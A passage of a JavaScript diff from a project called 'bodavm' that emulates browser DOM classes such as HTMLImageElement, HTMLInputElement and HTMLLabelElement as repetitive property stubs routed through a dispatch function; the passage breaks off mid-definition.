function border() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "border_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "decode", { + configurable: true, + enumerable: true, + writable: true, + value: function decode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "decode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "fetchPriority", { + configurable: true, + enumerable: true, + get: function fetchPriority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "fetchPriority_get", arguments); + }, + set: function fetchPriority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "fetchPriority_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "loading", { + configurable: true, + enumerable: true, + get: function loading() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "loading_get", arguments); + }, + set: function loading() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "loading_set", arguments); + } +}, 'prototype'); +// HTMLInputElement对象 + +bodavm.memory.globalobj['HTMLInputElement'] = function HTMLInputElement() { + console.log_copy('HTMLInputElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLInputElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLInputElement'], "HTMLInputElement"); +bodavm.memory.globalobj['HTMLInputElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLInputElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLInputElement', "accept", { + configurable: true, + enumerable: true, + get: function accept() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "accept_get", arguments); + }, + set: function accept() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "accept_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "alt", { + configurable: true, + enumerable: true, + get: function alt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "alt_get", arguments); + }, + set: function alt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "alt_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "autocomplete", { + configurable: true, + enumerable: true, + get: function autocomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "autocomplete_get", arguments); + }, + set: function autocomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "autocomplete_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "defaultChecked", { + configurable: true, + enumerable: true, + get: function defaultChecked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "defaultChecked_get", arguments); + }, + set: function defaultChecked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "defaultChecked_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "checked", { + configurable: true, + enumerable: true, + get: function checked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "checked_get", arguments); + }, + set: function checked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "checked_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "dirName", { + configurable: true, + enumerable: true, + get: function dirName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "dirName_get", arguments); + }, + set: function dirName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "dirName_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "disabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "files", { + configurable: true, + enumerable: true, + get: function files() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "files_get", arguments); + }, + set: function files() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "files_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "formAction", { + configurable: true, + enumerable: true, + get: function formAction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formAction_get", arguments); + }, + set: function formAction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formAction_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "formEnctype", { + configurable: true, + enumerable: true, + get: function formEnctype() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formEnctype_get", arguments); + }, + set: function formEnctype() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formEnctype_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "formMethod", { + configurable: true, + enumerable: true, + get: function formMethod() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formMethod_get", arguments); + }, + set: function formMethod() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formMethod_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "formNoValidate", { + configurable: true, + enumerable: true, + get: function formNoValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formNoValidate_get", arguments); + }, + set: function formNoValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formNoValidate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "formTarget", { + configurable: true, + enumerable: true, + get: function formTarget() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formTarget_get", arguments); + }, + set: function formTarget() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formTarget_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "height_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "indeterminate", { + configurable: true, + enumerable: true, + get: function indeterminate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "indeterminate_get", arguments); + }, + set: function indeterminate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "indeterminate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "list", { + configurable: true, + enumerable: true, + get: function list() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "list_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "max", { + configurable: true, + enumerable: true, + get: function max() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "max_get", arguments); + }, + set: function max() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "max_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "maxLength", { + configurable: true, + enumerable: true, + get: function maxLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "maxLength_get", arguments); + }, + set: function maxLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "maxLength_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "min", { + configurable: true, + enumerable: true, + get: function min() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "min_get", arguments); + }, + set: function min() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "min_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "minLength", { + configurable: true, + enumerable: true, + get: function minLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "minLength_get", arguments); + }, + set: function minLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "minLength_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "multiple", { + configurable: true, + enumerable: true, + get: function multiple() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "multiple_get", arguments); + }, + set: function multiple() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "multiple_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "pattern", { + configurable: true, + enumerable: true, + get: function pattern() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "pattern_get", arguments); + }, + set: function pattern() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "pattern_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "placeholder", { + configurable: true, + enumerable: true, + get: function placeholder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "placeholder_get", arguments); + }, + set: function placeholder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "placeholder_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "readOnly", { + configurable: true, + enumerable: true, + get: function readOnly() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "readOnly_get", arguments); + }, + set: function readOnly() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "readOnly_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "required", { + configurable: true, + enumerable: true, + get: function required() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "required_get", arguments); + }, + set: function required() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "required_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "size_get", arguments); + }, + set: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "size_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "src", { + configurable: true, + enumerable: true, + get: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "src_get", arguments); + }, + set: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "src_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "step", { + configurable: true, + enumerable: true, + get: function step() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "step_get", arguments); + }, + set: function step() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "step_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "defaultValue", { + configurable: true, + enumerable: true, + get: function defaultValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "defaultValue_get", arguments); + }, + set: function defaultValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "defaultValue_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "valueAsDate", { + configurable: true, + enumerable: true, + get: function valueAsDate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "valueAsDate_get", arguments); + }, + set: function valueAsDate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "valueAsDate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "valueAsNumber", { + configurable: true, + enumerable: true, + get: function valueAsNumber() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "valueAsNumber_get", arguments); + }, + set: function valueAsNumber() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "valueAsNumber_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "willValidate", { + configurable: true, + enumerable: true, + get: function willValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "willValidate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "validity", { + configurable: true, + enumerable: true, + get: function validity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "validity_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "validationMessage", { + configurable: true, + enumerable: true, + get: function validationMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "validationMessage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "labels", { + configurable: true, + enumerable: true, + get: function labels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "labels_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "selectionStart", { + configurable: true, + enumerable: true, + get: function selectionStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionStart_get", arguments); + }, + set: function selectionStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionStart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "selectionEnd", { + configurable: true, + enumerable: true, + get: function selectionEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionEnd_get", arguments); + }, + set: function selectionEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionEnd_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "selectionDirection", { + configurable: true, + enumerable: true, + get: function selectionDirection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionDirection_get", arguments); + }, + set: function selectionDirection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionDirection_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "useMap", { + configurable: true, + enumerable: true, + get: function useMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "useMap_get", arguments); + }, + set: function useMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "useMap_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "webkitdirectory", { + configurable: true, + enumerable: true, + get: function webkitdirectory() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "webkitdirectory_get", arguments); + }, + set: function webkitdirectory() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "webkitdirectory_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "incremental", { + configurable: true, + enumerable: true, + get: function incremental() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "incremental_get", arguments); + }, + set: function incremental() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "incremental_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "checkValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function checkValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "checkValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "reportValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function reportValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "reportValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "select", { + configurable: true, + enumerable: true, + writable: true, + value: function select() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "select", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "setCustomValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function setCustomValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "setCustomValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "setRangeText", { + configurable: true, + enumerable: true, + writable: true, + value: function setRangeText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "setRangeText", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "setSelectionRange", { + configurable: true, + enumerable: true, + writable: true, + value: function setSelectionRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "setSelectionRange", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "showPicker", { + configurable: true, + enumerable: true, + writable: true, + value: function showPicker() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "showPicker", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "stepDown", { + configurable: true, + enumerable: true, + writable: true, + value: function stepDown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "stepDown", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "stepUp", { + configurable: true, + enumerable: true, + writable: true, + value: function stepUp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "stepUp", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "webkitEntries", { + configurable: true, + enumerable: true, + get: function webkitEntries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "webkitEntries_get", arguments); + }, + set: undefined +}, 'prototype'); +// HTMLLabelElement对象 + +bodavm.memory.globalobj['HTMLLabelElement'] = function HTMLLabelElement() { + console.log_copy('HTMLLabelElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLLabelElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLLabelElement'], "HTMLLabelElement"); +bodavm.memory.globalobj['HTMLLabelElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLLabelElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLLabelElement', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLabelElement'].prototype, "HTMLLabelElement", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLabelElement', "htmlFor", { + configurable: true, + enumerable: true, + get: function htmlFor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLabelElement'].prototype, "HTMLLabelElement", "htmlFor_get", arguments); + }, + set: function htmlFor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLabelElement'].prototype, "HTMLLabelElement", "htmlFor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLabelElement', "control", { + configurable: true, + enumerable: true, + get: function control() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLabelElement'].prototype, "HTMLLabelElement", "control_get", arguments); + }, + set: undefined +}, 'prototype'); +// HTMLLegendElement对象 + +bodavm.memory.globalobj['HTMLLegendElement'] = function HTMLLegendElement() { + console.log_copy('HTMLLegendElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLLegendElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLLegendElement'], "HTMLLegendElement"); +bodavm.memory.globalobj['HTMLLegendElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLLegendElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLLegendElement', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLegendElement'].prototype, "HTMLLegendElement", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLegendElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLegendElement'].prototype, "HTMLLegendElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLegendElement'].prototype, "HTMLLegendElement", "align_set", arguments); + } +}, 'prototype'); +// HTMLLIElement对象 + +bodavm.memory.globalobj['HTMLLIElement'] = function HTMLLIElement() { + console.log_copy('HTMLLIElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLLIElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLLIElement'], "HTMLLIElement"); +bodavm.memory.globalobj['HTMLLIElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLLIElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLLIElement', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLIElement'].prototype, "HTMLLIElement", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLIElement'].prototype, "HTMLLIElement", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLIElement', "type", { 